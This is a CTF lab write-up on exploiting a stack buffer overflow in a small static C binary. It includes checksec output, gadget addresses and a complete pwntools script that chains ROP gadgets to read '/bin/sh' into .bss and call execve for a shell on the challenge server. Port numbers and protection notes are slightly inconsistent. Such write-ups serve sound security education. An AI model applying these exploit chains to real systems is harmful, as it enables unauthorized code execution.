Simple PWN - 0x12(Lab - rop++)
tags: CTF PWN eductf
challenge: nc edu-ctf.zoolab.org 10004
Original Code
#include <stdio.h>
#include <unistd.h>
#include <string.h>
int main()
{
char buf[0x10];
const char *msg = "show me rop\n> ";
write(1, msg, strlen(msg));
read(0, buf, 0x200);
return 0;
}
gcc -fno-stack-protector -static -o chal rop++.c
Analyze
- Obviously buffer overflow!!!
- Check protector
$ checksec chal [*] '/home/sbk6401/NTUCS/PWN/Lab/rop++/share/chal' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) - Preliminary idea is using
ROPchain and get shell, but the problem is where can I write/bin/sh\x00? We can usevmmapto observe where section is writable and readable →0x4c5000~0x4c800
$ readelf -S chal ... [25] .bss NOBITS 00000000004c72a0 000c6290 0000000000005980 0000000000000000 WA 0 0 32 ...We can use `.bss` section(`0x4c72a0`) to write parameter
/bin/sh\x00-
Note that
, because
ASLRis enabled, so we cannot write/bin/sh\x00to stack, in addition,PIEis unable, so that we can write and read data from.bsssection with fixed address
-
Note that
Exploit - ROP
- Write
ROPchain inbufparameter$ ROPgadget --binary chal --only "pop|leave|ret|syscall" --multibr > rop_gadget $ vim rop_gadgetpop_rax_ret = 0x447b27 pop_rdi_ret = 0x401e3f pop_rsi_ret = 0x409e6e pop_rdx_rbx_ret = 0x47ed0b syscall_ret = 0x414506 leave_ret = 0x401797 - Construct
ROPchain In order to achieve our idea, we need another read to write/bin/sh\x00to.bsssectionROP_read = flat( # call read function pop_rax_ret, 0, pop_rdi_ret, 0, pop_rsi_ret, 0x4c72a0, pop_rdx_rbx_ret, 0x100, 0, syscall_ret, )Then we need another
ROPchain to callshellROP_shell = flat( # Get shell pop_rax_ret, 0x3b, pop_rdi_ret, 0x4c72a0, pop_rsi_ret, 0, pop_rdx_rbx_ret, 0, 0, syscall_ret, )- Note that
0x4c72a0is the beginning of.bsssection
- Note that
- Send payload
binsh = 0x68732f6e69622f #'/bin/sh\x00' r.sendafter("show me rop\n>", b'a'*0x28 + ROP_read + ROP_shell) r.send(flat(binsh)) - Then we get shell and read flag
- Whole exploit :::spoiler code ```python! from pwn import *
#r = process(‘./chal’) r = remote(‘edu-ctf.zoolab.org’, 10003) raw_input() context.arch = ‘amd64’
pop_rax_ret = 0x447b27 pop_rdi_ret = 0x401e3f pop_rsi_ret = 0x409e6e pop_rdx_rbx_ret = 0x47ed0b syscall_ret = 0x414506 leave_ret = 0x401797
binsh = 0x68732f6e69622f #’/bin/sh\x00’
ROP_read = flat( # call read function pop_rax_ret, 0, pop_rdi_ret, 0, pop_rsi_ret, 0x4c72a0, pop_rdx_rbx_ret, 0x100, 0, syscall_ret,
)ROP_shell = flat( # Get shell pop_rax_ret, 0x3b, pop_rdi_ret, 0x4c72a0, pop_rsi_ret, 0, pop_rdx_rbx_ret, 0, 0, syscall_ret,
)
r.sendafter(“show me rop\n>”, b’a’*0x28 + ROP_read + ROP_shell) r.send(flat(binsh))
r.interactive() ``` :::
Appendix
This payload will call sys_read and read something that we send, that is 0x68732f6e69622f(/bin/sh\x00), and then it’ll call sys_execve.